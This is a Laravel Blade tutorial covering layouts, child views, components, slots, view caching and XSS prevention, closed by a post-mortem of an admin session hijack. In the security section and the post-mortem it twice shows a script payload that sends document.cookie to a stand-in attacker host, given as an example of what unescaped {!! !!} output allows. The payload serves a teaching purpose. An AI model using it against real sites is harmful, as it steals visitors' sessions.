Intermediate 7 min · March 06, 2026

Laravel Blade XSS: {!! !!} Hijacked Admin Sessions

A developer used {!! !!} rendering user bio raw, causing XSS that exfiltrated admin cookies.

N
Naren · Founder
Plain-English first. Then code. Then the interview question.
About
 ● Production Incident 🔎 Debug Guide
Quick Answer
  • Layouts define the HTML shell once — nav, footer, head. Child views extend layouts and fill yield points.
  • Components are reusable UI elements with a PHP class (logic) and a Blade view (markup). Props and slots pass data.
  • Directives (@if, @foreach, @forelse, @yield, @section) replace raw PHP in templates.
  • @extends('layouts.app') — child declares its parent layout
  • @yield('content') — layout marks injection points
  • @section('content') ... @endsection — child fills yield points
  • — component invocation with props
  • $slot — default slot content inside component tags
Plain-English First

Imagine your website is a house. Every room (page) has the same walls, roof, and foundation — but different furniture inside. Blade is the architect's blueprint that lets you draw the foundation once and then just describe what furniture goes in each room. You never redraw the walls. That's it. One master layout, infinite unique pages built on top of it.

Every professional Laravel application you've ever used — from SaaS dashboards to e-commerce stores — relies on Blade to keep its HTML sane. Without a templating engine, you'd copy-paste your navbar and footer into every single file. Change one link in that navbar? Now you're editing 40 files. Blade exists so that never happens to you.

Blade compiles templates into cached PHP files. The first request compiles the .blade.php file and stores the result in storage/framework/views/. Subsequent requests serve the compiled PHP directly — no re-parsing. This means Blade adds near-zero runtime overhead compared to raw PHP. The compilation cost is paid once per template change.

The architectural decisions you make in Blade — layout depth, component granularity, slot design — directly impact maintainability, testability, and rendering performance at scale. A poorly structured Blade hierarchy with 4 levels of nested layouts and 200-line component files becomes unmanageable after 6 months of feature development.

Blade Layouts: The Master Template Pattern Every App Needs

The layout system is Blade's most important feature and the one most developers underuse. The idea is simple: you define one 'master' layout file that contains your HTML skeleton — doctype, head, nav, footer — and you mark certain regions as 'yield points' using @yield. Child views then 'extend' that master and fill in those yield points using @section.

This is a parent-child relationship. The parent (layout) owns the shell. The child (page view) owns only its content. The child can't accidentally break the nav because it never touches it.

There are two flavours here worth knowing: @yield with a default fallback value, and @section with @show (which renders the section immediately, useful for things like a default sidebar). Most developers only learn @yield and miss the @show trick entirely.

Nested layouts: Production applications often use nested layouts — a base layout (HTML skeleton), an app layout (adds auth navigation), and a section layout (adds sidebar). Each level adds its own structure and yields to the next. The trade-off: deeper nesting means more files to navigate when debugging a missing yield point. Keep nesting to 2-3 levels maximum.

@section with @show vs @yield: @section('sidebar') Default sidebar content @show renders the section immediately AND makes it overridable. @yield('sidebar') only renders if the child provides it. Use @show for sections with meaningful defaults (sidebar, breadcrumbs). Use @yield for sections that have no sensible default (page content).

resources/views/layouts/app.blade.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    {{-- @yield pulls in the child's 'title' section. --}}
    {{-- The second argument is the DEFAULT if the child forgets to set it. --}}
    <title>@yield('title', 'My App — Default Title')</title>

    {{-- Lets child views inject page-specific CSS without breaking global styles --}}
    @yield('page_styles')
</head>
<body>

    <nav class="main-nav">
        <a href="/">Home</a>
        <a href="/products">Products</a>
        <a href="/contact">Contact</a>
    </nav>

    <main class="content-wrapper">
        {{-- This is where every child view's content will be injected --}}
        @yield('content')
    </main>

    <footer>
        <p>&copy; {{ date('Y') }} My App. All rights reserved.</p>
    </footer>

    {{-- Child views can push page-specific scripts here without editing this file --}}
    @yield('page_scripts')

</body>
</html>
Output
No direct output — this is the layout shell. When a child view extends it, the browser receives a fully assembled HTML page with the child's content injected at @yield('content').
Layouts as a Building Blueprint
  • A single layout forces every page to share the same navigation — authenticated and public pages need different navs.
  • Nested layouts let you compose: base (HTML skeleton) -> app (auth nav) -> dashboard (sidebar).
  • Each level yields to the next. The child only needs to extend the most specific layout.
  • Trade-off: deeper nesting means more files to check when a yield point is missing.
Production Insight
Always add a default value to @yield('title', 'My App'). If a developer forgets to set the title section in a new page, your site won't show a blank browser tab. Small detail, huge polish. For production apps, also add @yield('meta_description', 'Default meta description') for SEO — missing meta descriptions hurt search rankings.
Key Takeaway
The master layout + @yield pattern is the foundation of DRY HTML in Laravel. Define your shell once, let every page fill in only its unique content with @section. Use @show for sections with defaults (sidebar). Use @yield for sections without defaults (content). Keep layout nesting to 2-3 levels.
Layout Structure Selection
IfSimple app with one navigation (blog, landing page)
UseSingle layout with @yield('content') and @yield('title'). No nesting needed.
IfApp with public and authenticated sections
UseTwo layouts: layouts/guest.blade.php and layouts/app.blade.php. Each has its own nav.
IfAdmin panel with sidebar navigation
UseThree layouts: base -> app -> admin. Admin layout adds sidebar with @section('sidebar') @show for default links.
IfComplex app with multiple section layouts (dashboard, settings, reports)
UseEach section gets its own layout extending the app layout. Keep nesting to 3 levels maximum.

Child Views, @section and @parent — Writing Pages That Don't Repeat Themselves

Now that the master layout exists, every page in your app just needs to extend it and fill in the blanks. The @extends directive is always the very first line of a child view — nothing can come before it, not even whitespace, or you'll get unexpected output in your HTTP headers.

The real power move here is @parent. Imagine your layout defines a default sidebar in a section. A specific page wants to keep that default sidebar AND add something extra to it. @parent lets you render the parent's version of the section and then append to it. Without @parent, you'd completely override the parent content.

This pattern becomes essential in admin panels where a global sidebar exists in the layout, but certain pages (like the settings page) need to inject extra sidebar links without nuking the global ones.

@push and @stack: For pages that need to inject scripts or styles at specific points, @push('scripts') and @stack('scripts') are cleaner than @section/@yield. Multiple child views can @push to the same stack, and the layout renders all of them. This is ideal for page-specific JavaScript that should load after the global scripts.

View composers: When multiple views need the same data (e.g., a list of categories for a sidebar), view composers inject that data automatically without the controller needing to pass it to every view. Register view composers in AppServiceProvider or a dedicated ComposerServiceProvider.

resources/views/products/index.blade.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
{{-- @extends must be the FIRST line. A blank line above this will cause output issues. --}}
@extends('layouts.app')

{{-- Fill the 'title' yield point we defined in the layout --}}
@section('title', 'Browse All Products')

{{-- Inject page-specific CSS. The layout's global CSS is untouched. --}}
@section('page_styles')
    <link rel="stylesheet" href="/css/product-grid.css">
@endsection

{{-- This is the main payload — the unique content of this page --}}
@section('content')

    <div class="page-header">
        <h1>Our Products</h1>
        <p>Browse {{ $products->count() }} items available today.</p>
    </div>

    <div class="product-grid">

        {{-- @forelse is Blade's smart loop: it handles the empty-collection case gracefully --}}
        @forelse($products as $product)

            <div class="product-card">
                <h2>{{ $product->name }}</h2>

                {{-- {{ }} escapes HTML by default — protects against XSS attacks --}}
                <p>{{ $product->description }}</p>

                {{-- number_format keeps currency display consistent --}}
                <span class="price">${{ number_format($product->price_in_cents / 100, 2) }}</span>

                <a href="{{ route('products.show', $product) }}">View Details</a>
            </div>

        @empty
            {{-- This block only renders when $products is empty — no if/else needed --}}
            <div class="empty-state">
                <p>No products found. Check back soon!</p>
            </div>
        @endforelse

    </div>

@endsection

{{-- Inject the charting library only on this page — not loaded app-wide --}}
@section('page_scripts')
    <script src="/js/product-filters.js"></script>
@endsection
Output
Browser renders: full HTML page with nav, footer from layout.app, plus the product grid in between. If $products is empty, the empty-state div renders instead of the loop. Page title in browser tab reads 'Browse All Products'.
Child Views as Room Designs
  • @section/@yield is for content that replaces a region (page content, title).
  • @push/@stack is for accumulating items (scripts, styles, meta tags).
  • Multiple views can @push to the same stack — all items are rendered in order.
  • Use @stack for scripts: the layout defines @stack('scripts') and each page @pushes its own script.
Production Insight
@section('title', 'My Title') is shorthand for a one-liner section. But @section('content') ... @endsection is the multi-line form. Mixing them up — using the shorthand form with @endsection — causes a Blade parsing error that's confusing to debug. The error message does not clearly indicate the problem. Always use the shorthand form for single-line sections and the multi-line form for blocks.
Key Takeaway
@extends must be the first line — no whitespace before it. @parent appends to the parent section instead of overriding it. @push/@stack accumulates items across views. View composers inject shared data automatically, eliminating duplicated controller logic. Use @forelse over @foreach — it handles empty collections without a separate @if check.

Blade Components — Reusable UI Pieces With Real Logic Attached

Layouts handle page structure. Components handle reusable UI elements — things like alert boxes, modals, buttons, cards. A Blade component is a combination of a PHP class (for logic) and a Blade view (for markup). This separation of concerns is what makes components more powerful than simple @include.

When you run php artisan make:component AlertMessage, Laravel creates two files: app/View/Components/AlertMessage.php and resources/views/components/alert-message.blade.php. The PHP class handles data manipulation, and the view handles presentation.

Components accept data through props (typed attributes declared in the class) and content through slots. The default slot is whatever you put between the opening and closing component tags. Named slots let you inject content into specific regions of a component — just like @yield does for layouts, but scoped to that one component.

Anonymous components: For purely presentational elements (buttons, dividers, badges) with no logic, anonymous components skip the PHP class entirely. Place a Blade file in resources/views/components/ and invoke it with <x-button>. Props are passed via the @props directive at the top of the file.

Component performance: Component constructors are called on every render. If a constructor runs a database query, that query executes on every page render — even if the component's output is cached. Move expensive operations to view composers or lazy-load them with @aware (Laravel 10+).

app/View/Components/AlertMessage.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace App\View\Components;

use Illuminate\View\Component;

class AlertMessage extends Component
{
    /**
     * The alert type controls styling (success, warning, danger, info).
     * We validate it here so the VIEW stays clean and dumb.
     */
    public string $type;
    public string $heading;

    public function __construct(string $type = 'info', string $heading = '')
    {
        // Validate the type so bad values don't slip through to the CSS class
        $this->type = in_array($type, ['success', 'warning', 'danger', 'info'])
            ? $type
            : 'info';

        $this->heading = $heading;
    }

    /**
     * A computed property — available in the view as $iconClass.
     * Logic lives HERE, not buried in the Blade template.
     */
    public function iconClass(): string
    {
        return match($this->type) {
            'success' => 'icon-check-circle text-green-600',
            'warning' => 'icon-exclamation text-yellow-600',
            'danger'  => 'icon-x-circle text-red-600',
            default   => 'icon-info text-blue-600',
        };
    }

    public function render()
    {
        return view('components.alert-message');
    }
}
Output
No direct output — this is the PHP class. The render() method tells Laravel which Blade view to use for this component.
Components as Legos
  • Anonymous components: purely presentational, no logic, just markup with props. Use for buttons, dividers, badges.
  • Class-based components: need validation, computed properties, or conditional logic. Use for alerts, modals, data tables.
  • If you need a match() statement or validation in the component, use a class. If it's just HTML with variable substitution, use anonymous.
  • Anonymous components are defined with @props at the top of the Blade file. No PHP class is generated.
Production Insight
Putting the iconClass logic in the PHP class instead of the Blade view means you can unit-test it with a plain PHPUnit test — no HTTP request needed. Blade templates are notoriously hard to unit test, so push conditional logic into the component class whenever possible. Test the class method, not the rendered HTML.
Key Takeaway
Class-based components separate UI logic from UI markup, making components unit-testable without HTTP requests. Push match() statements and conditionals into the PHP class, not the Blade file. Anonymous components are for pure presentation. Named slots let components expose multiple content regions.
Component Type Selection
IfPurely presentational — just HTML with variable substitution (button, divider, badge)
UseAnonymous component with @props. No PHP class needed.
IfNeeds validation, computed properties, or conditional logic (alert, modal, data table)
UseClass-based component. Logic in PHP class, markup in Blade view.
IfNeeds to accept rich content in multiple regions (card with header, body, footer)
UseClass-based component with named slots. Use @isset($slotName) for optional slots.
IfShared across many pages with different data (pagination, breadcrumbs)
UseClass-based component with view composer for shared data injection.

Component Views, Slots and Using Components in Real Pages

The component view file is where your HTML lives. It receives all public properties from the PHP class automatically as variables. The special $slot variable holds whatever content you placed between the component tags when you used it.

Named slots let your component expose multiple content regions. Think of a card component that has a header slot, a body slot (the default $slot), and a footer slot. The page using the card decides what goes in each region — the component just provides the structure.

Anonymous components (created without a PHP class, just a Blade file in resources/views/components/) are great for purely presentational things like buttons or dividers where there's no logic involved. If it needs logic, use a class-based component. If it's just markup with props, use an anonymous component.

Slot scoping and attributes: Slots receive the parent's variable scope by default. If the parent has $user available, the slot content can access $user. Named slots can also receive data from the component via scoped slots — the component passes data to the slot, and the slot content can access it. This is useful for rendering lists where the component controls the iteration but the caller controls the item template.

Component attributes ($attributes): The $attributes variable captures any HTML attributes passed to the component that are not declared as props. Use $attributes->merge() to combine caller-provided attributes with component defaults. This enables the component to accept arbitrary HTML attributes (class, id, data-*) without declaring each one as a prop.

resources/views/components/alert-message.blade.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{{-- 
  $type, $heading are automatically available from the PHP class public properties.
  $iconClass() is called as a method — note the () syntax.
  $slot holds the content placed between <x-alert-message> tags.
--}}
<div class="alert alert-{{ $type }}" role="alert">

    <div class="alert-icon">
        {{-- Calling the computed method from the component class --}}
        <span class="{{ $iconClass() }}"></span>
    </div>

    <div class="alert-body">
        @if($heading)
            <h4 class="alert-heading">{{ $heading }}</h4>
        @endif

        {{-- $slot renders whatever the caller put between the component tags --}}
        <p>{{ $slot }}</p>
    </div>

    {{-- Named slot: renders only if the caller provides a footer slot --}}
    @isset($actions)
        <div class="alert-actions">
            {{ $actions }}
        </div>
    @endisset

</div>
Output
// ─────────────────────────────────────────────────────────
// HOW YOU USE THIS COMPONENT in any Blade page:
// ─────────────────────────────────────────────────────────
//
// <x-alert-message type="success" heading="Order Confirmed">
// Your order #1042 has been shipped and will arrive Friday.
// <x-slot name="actions">
// <a href="/orders/1042">Track Order</a>
// </x-slot>
// </x-alert-message>
//
// ─── Browser renders: ────────────────────────────────────
// <div class="alert alert-success" role="alert">
// <div class="alert-icon"><span class="icon-check-circle text-green-600"></span></div>
// <div class="alert-body">
// <h4 class="alert-heading">Order Confirmed</h4>
// <p>Your order #1042 has been shipped and will arrive Friday.</p>
// </div>
// <div class="alert-actions"><a href="/orders/1042">Track Order</a></div>
// </div>
Slots as Filling Stations
  • The default slot ($slot) is everything between the component tags that is NOT inside a named <x-slot>.
  • Named slots (<x-slot name="header">) inject content into specific regions of the component.
  • The component controls WHERE each slot renders. The caller controls WHAT each slot contains.
  • Use @isset($slotName) in the component view to check if a named slot was provided before rendering it.
Production Insight
Use @isset($actions) instead of @if($actions->isNotEmpty()) to check for named slots. A named slot variable is always defined (it's a HtmlString object), but @isset checks whether the caller actually provided it. This is the correct pattern for optional named slots. Using @if on an empty HtmlString can produce unexpected truthy results.
Key Takeaway
The component view receives public properties as variables and $slot for default content. Named slots let components expose multiple content regions. Use @isset($slotName) for optional slots. $attributes->merge() enables arbitrary HTML attribute passthrough. Scoped slots let components pass data back to the caller's slot template.

Blade Compilation, Caching, and Performance Tuning

Blade compiles .blade.php files into plain PHP files on first render. The compiled files are stored in storage/framework/views/ and served directly on subsequent requests. This means Blade adds near-zero runtime overhead — the compilation cost is paid once per template change.

Compilation lifecycle: On first request, Laravel checks if a compiled version exists in storage/framework/views/. If not (or if the source .blade.php is newer than the compiled file), it compiles the template. The compiled file is a standard PHP file that echoes HTML and executes PHP blocks. Subsequent requests include the compiled PHP file directly — no Blade parsing occurs.

Cache in production: In production (APP_DEBUG=false), Laravel caches compiled views aggressively. The view:cache artisan command pre-compiles all templates, eliminating the first-request compilation penalty. Always run php artisan view:cache during deployment.

Cache clearing pitfalls: php artisan view:clear deletes all compiled views. The next request triggers recompilation of every template — this can cause a latency spike on the first request after cache clear. In production, always run view:cache immediately after view:clear to pre-compile.

OPcache interaction: PHP's OPcache caches the compiled PHP bytecode. When Blade compiles a template to PHP, OPcache caches that PHP file's bytecode. This means Blade templates benefit from both Blade's compilation cache AND PHP's OPcache. Restarting PHP-FPM clears OPcache, causing a latency spike on the next request.

io/thecodeforge/blade-cache-management.shBASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
# Blade cache management for production deployments

# ── Pre-compile all views during deployment ──────────────────────────────────
# This runs as part of the deployment script, not on first request
php artisan view:cache
# Compiles all .blade.php files to storage/framework/views/

# ── Check compiled view count ───────────────────────────────────────────────
ls -la storage/framework/views/ | wc -l
# Shows how many compiled view files exist

# ── Clear and recompile (deployment step) ────────────────────────────────────
# Always clear THEN cache in sequence — never clear without recompiling
php artisan view:clear && php artisan view:cache

# ── Check OPcache status ────────────────────────────────────────────────────
php -r "var_dump(opcache_get_status());" | head -20
# Shows: memory_usage, opcache_statistics, scripts

# ── Warm OPcache after PHP-FPM restart ──────────────────────────────────────
# After restarting PHP-FPM, hit the homepage to warm the cache
sudo systemctl restart php8.2-fpm
curl -s http://localhost/ > /dev/null
# First request compiles and caches. Subsequent requests are fast.

# ── Monitor view compilation time ────────────────────────────────────────────
# Add to AppServiceProvider::boot() for debugging:
# \Illuminate\Support\Facades\Blade::precompiler(function ($value) {
#     $start = microtime(true);
#     $result = app('blade.compiler')->compileString($value);
#     $duration = microtime(true) - $start;
#     \Log::info('Blade compilation', ['duration_ms' => $duration * 1000]);
#     return $result;
# });
Output
# Compiled views:
47 compiled view files
# OPcache status:
array(3) {
["memory_usage"]=> array(4) { ["used_memory"]=> int(12345678) }
["opcache_statistics"]=> array(12) { ["opcache_hit_rate"]=> float(99.2) }
["scripts"]=> array(47) { /* compiled blade templates */ }
}
# OPcache hit rate: 99.2% — templates are cached effectively
Blade Compilation as Translation
  • view:clear deletes all compiled templates. The next request triggers compilation of every template.
  • Compilation is CPU-intensive — compiling 50 templates can take 200-500ms.
  • If 100 concurrent users hit the site simultaneously after a cache clear, all 100 requests trigger compilation.
  • Always pair: php artisan view:clear && php artisan view:cache. This pre-compiles everything before users arrive.
Production Insight
The view:clear + view:cache pattern must be part of your deployment script. If you deploy new Blade templates without running view:cache, the first user request triggers compilation. Under load, this causes a latency spike as multiple requests compete to compile the same template. Add view:clear && view:cache to your CI/CD pipeline after code deployment and before traffic is routed to the new version.
Key Takeaway
Blade compiles to cached PHP files — near-zero runtime overhead. Always run view:cache during deployment. Never run view:clear without immediately running view:cache. OPcache further caches the compiled PHP bytecode. Restarting PHP-FPM clears OPcache — warm it with a request after restart.

Security: XSS Prevention, Output Escaping, and Template Auditing

Blade's default output directive {{ $variable }} automatically escapes HTML using htmlspecialchars. This is your primary defense against XSS (Cross-Site Scripting) attacks. The unescaped directive {!! $variable !!} renders raw HTML without escaping — it is equivalent to raw SQL and should be treated with the same caution.

XSS attack vector: A user submits a profile bio containing <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. If the bio is rendered with {!! $user->bio !!}, the script executes in every visitor's browser. If rendered with {{ $user->bio }}, the script tag is escaped to &lt;script&gt;...&lt;/script&gt; and displayed as harmless text.

When {!! !!} is acceptable: Only when the content has been explicitly sanitized with HTMLPurifier or generated by your own trusted code (e.g., a CMS rich text editor that sanitizes on save). Every {!! usage should have a comment explaining why it is safe.

Audit strategy: Run grep -rn '{!!' resources/views/ to find all unescaped output. Each occurrence should be reviewed: is the data user-submitted? Has it been sanitized? Is there a comment explaining the safety? Add a CI lint rule that flags new {!! usages in pull requests.

Attribute injection: Even with {{ }}, attributes can be exploited. href="{{ $url }}" is safe if $url is validated. But href="javascript:{{ $url }}" allows code execution. Always validate URLs server-side before rendering them in href attributes. Use Laravel's validated URL helper or the URL validation rule.

io/thecodeforge/blade-security-audit.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

namespace Io\Thecodeforge\Security;

/**
 * Blade security audit utility.
 * Run via: php artisan tinker --execute="(new \Io\Thecodeforge\Security\BladeAuditor())->audit()"
 */
class BladeAuditor
{
    /**
     * Scan all Blade templates for unescaped output and report findings.
     */
    public function audit(): array
    {
        $viewPath = resource_path('views');
        $findings = [];

        $files = new \RecursiveIteratorIterator(
            new \RecursiveDirectoryIterator($viewPath)
        );

        foreach ($files as $file) {
            if ($file->getExtension() !== 'php') continue;

            $content = file_get_contents($file->getPathname());
            $lines = explode("\n", $content);

            foreach ($lines as $lineNumber => $line) {
                // Find unescaped output: {!! ... !!}
                if (preg_match('/\{!!\s*(.+?)\s*!!\}/', $line, $matches)) {
                    $findings[] = [
                        'file' => str_replace($viewPath . '/', '', $file->getPathname()),
                        'line' => $lineNumber + 1,
                        'expression' => trim($matches[1]),
                        'risk' => $this->assessRisk($matches[1], $content),
                    ];
                }

                // Find potential attribute injection: href="javascript:..."
                if (preg_match('/href\s*=\s*["\']javascript:/i', $line)) {
                    $findings[] = [
                        'file' => str_replace($viewPath . '/', '', $file->getPathname()),
                        'line' => $lineNumber + 1,
                        'expression' => trim($line),
                        'risk' => 'CRITICAL — javascript: protocol in href attribute',
                    ];
                }
            }
        }

        return $findings;
    }

    private function assessRisk(string $expression, string $fileContent): string
    {
        // Check if the expression references user-submitted data
        $userPatterns = ['$user', '$request', '$input', '->bio', '->description', '->content'];
        foreach ($userPatterns as $pattern) {
            if (str_contains($expression, $pattern)) {
                return 'HIGH — references user-submitted data';
            }
        }

        // Check if HTMLPurifier is used nearby
        if (str_contains($fileContent, 'HTMLPurifier') || str_contains($fileContent, 'purify')) {
            return 'MEDIUM — HTMLPurifier detected in file (verify it wraps this expression)';
        }

        return 'LOW — does not reference user data (verify manually)';
    }
}
Output
// Usage:
// $ php artisan tinker --execute="(new \Io\Thecodeforge\Security\BladeAuditor())->audit()"
//
// Output:
// [
// {
// "file": "products/show.blade.php",
// "line": 42,
// "expression": "$product->description",
// "risk": "HIGH — references user-submitted data"
// },
// {
// "file": "admin/dashboard.blade.php",
// "line": 15,
// "expression": "$trustedHtml",
// "risk": "MEDIUM — HTMLPurifier detected in file (verify it wraps this expression)"
// }
// ]
Output Escaping as a Translator
  • {!! !!} renders raw HTML — it does not filter dangerous tags or attributes.
  • HTMLPurifier parses the HTML, strips dangerous elements (<script>, <iframe>), and allows only safe tags.
  • Without HTMLPurifier, {!! !!} on user content is an XSS vulnerability.
  • Configure HTMLPurifier with a strict allowlist: only p, b, i, a[href], ul, ol, li.
Production Insight
Run grep -rn '{!!' resources/views/ as part of your CI pipeline. Each occurrence should have a corresponding comment or a link to a sanitization function. If a new {!! appears in a pull request without justification, the PR should be blocked. Treat {!! } like raw SQL — require explicit approval and evidence of sanitization.
Key Takeaway
{{ }} escapes HTML by default and is your XSS shield. Treat {!! !!} like raw SQL — only use it with explicit sanitization (HTMLPurifier). Audit all {!! usages in CI. Validate URLs before rendering in href attributes. Every {!! } in a codebase should be auditable and justified.
Output Escaping Decision
IfDisplaying user-submitted text (name, bio, comment)
UseAlways use {{ }}. Never use {!! !!}.
IfDisplaying rich text from a CMS or editor
UseUse {!! HTMLPurifier::purify($content) !!}. Configure a strict allowlist.
IfDisplaying HTML generated by your own trusted code
UseUse {!! !!} with a comment explaining why it is safe. Verify the generating code does not include user input.
IfRendering a URL in an href attribute
UseValidate with filter_var($url, FILTER_VALIDATE_URL) before rendering. Never use javascript: protocol.
● Production incidentPOST-MORTEMseverity: high

XSS Vulnerability in User Profile Bio Renders Admin Session Hijack

Symptom
Admin users reported being logged out unexpectedly. One admin reported that after viewing a user's profile page, their session was redirected to an external domain. The security team found a suspicious script tag in the rendered HTML of a user's profile page. The script captured the admin's session cookie and sent it to an external server.
Assumption
The team assumed a CSRF vulnerability — they checked CSRF tokens on all forms (all present and valid). They assumed a session fixation attack — they checked session configuration (configured correctly). They assumed a compromised admin account — they checked login logs (no unauthorized logins). The actual issue was simpler: the profile bio was rendered with {!! $user->bio !!} instead of {{ $user->bio }}.
Root cause
A developer used {!! $user->bio !!} to render the user's bio, intending to allow basic HTML formatting (bold, italic). The unescaped output directive renders raw HTML without sanitization. The user submitted a bio containing: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. The script executed in every browser that viewed the profile. The admin viewed the profile during a support ticket investigation, and their session cookie was exfiltrated.
Fix
1. Immediately changed {!! $user->bio !!} to {{ $user->bio }} on all user-facing profile pages. 2. Installed and configured HTMLPurifier to sanitize user-submitted HTML when rich text formatting is needed. 3. Added a Blade directive audit: grep -r '{!!' resources/views/ to find all unescaped output usages. 4. Each {!! usage was reviewed and either converted to {{ }} or wrapped with e($content, true) or HTMLPurifier::purify($content). 5. Added a CI lint rule that flags new {!! usages in pull requests. 6. Rotated all admin session tokens.
Key lesson
  • {!! !!} is the equivalent of raw SQL — it bypasses all safety mechanisms. Every usage must be auditable and justified.
  • User-submitted content must ALWAYS be rendered with {{ }} (escaped) or sanitized with HTMLPurifier before using {!! !!}.
  • Run grep -r '{!!' resources/views/ periodically to audit all unescaped output. Each occurrence should have a comment explaining why it is safe.
  • Add a CI lint rule that flags new {!! usages. Treat them like raw SQL — they require explicit approval.
  • Admin pages that display user content are high-value targets. Admin session cookies are the crown jewels.
Production debug guideFrom blank pages to broken redirects — systematic debugging paths for Blade rendering problems.6 entries
Symptom · 01
Page renders blank or shows only layout without child content.
Fix
Check if the child view has @extends as the first line (no whitespace before it). Check if @section names match @yield names exactly (case-sensitive). Check if @endsection is present for every @section. Run php artisan view:clear and check for compilation errors in storage/logs/laravel.log.
Symptom · 02
'Headers already sent' error on redirects or cookie setting.
Fix
Check the child view file for whitespace or BOM (byte order mark) before @extends. Open the file in a hex editor and verify the first bytes are @extends, not 0xEF 0xBB 0xBF (UTF-8 BOM) or 0x0A (newline). Fix: remove all whitespace before @extends. Set your editor to 'UTF-8 without BOM'.
Symptom · 03
Component renders but props are missing or show default values.
Fix
Check if the component class constructor parameter names match the prop names used in the invocation. Props are matched by name, not position. Check if the prop has a default value in the constructor. Check if the component view uses the correct variable names (matching the public property names in the class).
Symptom · 04
Page loads slowly — Blade rendering takes 500ms+.
Fix
Check if view caching is enabled: php artisan route:list and verify APP_DEBUG=false. Check storage/framework/views/ for compiled view files. If empty, views are not being cached. Check for expensive queries in view composers or component constructors. Use php artisan debugbar or Laravel Telescope to profile view rendering time.
Symptom · 05
Named slot content does not appear in the rendered output.
Fix
Check if the component view uses @isset($slotName) to check for the named slot. Check if the slot name in the component (<x-slot name="actions">) matches the variable name in the component view ($actions). Check if the caller is using <x-slot> inside the component tags, not outside.
Symptom · 06
Changes to Blade templates are not reflected in the browser.
Fix
Check if the compiled view cache is stale. Run php artisan view:clear to force recompilation. Check if the file is being served from a CDN or reverse proxy cache (Varnish, Cloudflare). Check if OPcache is caching the compiled PHP file — restart PHP-FPM: sudo systemctl restart php8.2-fpm.
★ Blade Template Triage Cheat SheetFirst-response commands when Blade pages render blank, show errors, or display stale content.
Page renders blank — layout shows but no child content.
Immediate action
Check for whitespace before @extends and verify section names match.
Commands
head -c 20 resources/views/products/index.blade.php | xxd
php artisan view:clear && php artisan view:cache 2>&1
Fix now
If first bytes are 0a (newline) or efbbbf (BOM), remove them. If view:cache fails, the error points to the broken template.
'Headers already sent' error on redirect.+
Immediate action
Find the file with output before headers.
Commands
grep -rn 'echo\|print\|<?=' resources/views/ | head -10
head -1 resources/views/layouts/app.blade.php | xxd | head -1
Fix now
Remove any output before @extends. Ensure no PHP echo statements run before Laravel's response headers are set.
XSS vulnerability suspected — script tags in rendered HTML.+
Immediate action
Audit all {!! usages in Blade templates.
Commands
grep -rn '{!!' resources/views/ | wc -l
grep -rn '{!!' resources/views/
Fix now
Convert user-facing {!! usages to {{ }}. For rich text, wrap with HTMLPurifier::purify(). Flag all remaining {!! in code review.
Blade changes not reflected in browser.+
Immediate action
Clear view cache and check OPcache.
Commands
php artisan view:clear
php artisan cache:clear && sudo systemctl restart php8.2-fpm
Fix now
If view:clear fixes it, the compiled cache was stale. If OPcache is the issue, restart PHP-FPM.
Component renders but props are missing.+
Immediate action
Verify prop names match between invocation and class constructor.
Commands
grep 'public' app/View/Components/AlertMessage.php
grep '<x-alert-message' resources/views/**/*.blade.php
Fix now
Prop names in <x-component prop="value"> must match constructor parameter names exactly.
View rendering is slow (> 200ms per view).+
Immediate action
Check if views are cached and profile component constructors.
Commands
ls -la storage/framework/views/ | wc -l
php artisan telescope:prune && php artisan telescope
Fix now
If views/ is empty, caching is disabled. Check APP_DEBUG=false. If component constructors run queries, move them to view composers.
Blade Template Primitives: @include vs Components vs Layouts
Feature@includeBlade ComponentsLayouts (@extends/@yield)
PurposeEmbed a static partial (nav, footer snippets)Reusable UI element with its own logic and propsPage-level HTML shell shared across all pages
Passes dataVia second argument array or parent scopeVia typed props declared in PHP class constructorVia @section/@yield injection points
Has logic layerNo — pure viewYes — dedicated PHP class with testable methodsNo — but child views can contain logic
Slots supportNo — all or nothingYes — default $slot + unlimited named slotsYes — @yield and @section act as slots
Unit testableNo — requires renderingYes — class methods are plain PHP, fully testableNo — requires rendering
Nesting depthUnlimited (can @include inside @include)Unlimited (can nest components inside components)2-3 levels recommended (base -> app -> section)
Best used forSimple includes like nav, footer, modalsAlert boxes, cards, buttons, data tables, form inputsHTML skeleton shared across all pages in a section
File locationresources/views/partials/resources/views/components/ + app/View/Components/resources/views/layouts/
Invocation syntax@include('partials.nav')<x-alert-message type="success" />@extends('layouts.app')
PerformanceFast — direct file includeFast — compiled to direct PHP includeFast — compiled once, cached

Key takeaways

1
The master layout + @yield pattern is the foundation of DRY HTML in Laravel
define your shell once, let every page fill in only its unique content with @section.
2
@forelse is almost always better than @foreach in real apps
it handles empty collections elegantly without a separate @if($items->isEmpty()) check cluttering your view.
3
Class-based Blade components separate UI logic from UI markup, making your components unit-testable without HTTP requests
push match() statements and conditionals into the PHP class, not the Blade file.
4
{{ }} escapes HTML output by default and is your XSS shield
treat {!! !!} like raw SQL and only use it when you've explicitly sanitized the content yourself.
5
Blade compiles to cached PHP files
always run view:cache during deployment. Never run view:clear without immediately running view:cache.
6
View composers inject shared data automatically, eliminating duplicated controller logic. Use them for data needed across multiple views (categories, user settings, navigation items).
INTERVIEW PREP · PRACTICE MODE

Interview Questions on This Topic

FAQ · 6 QUESTIONS

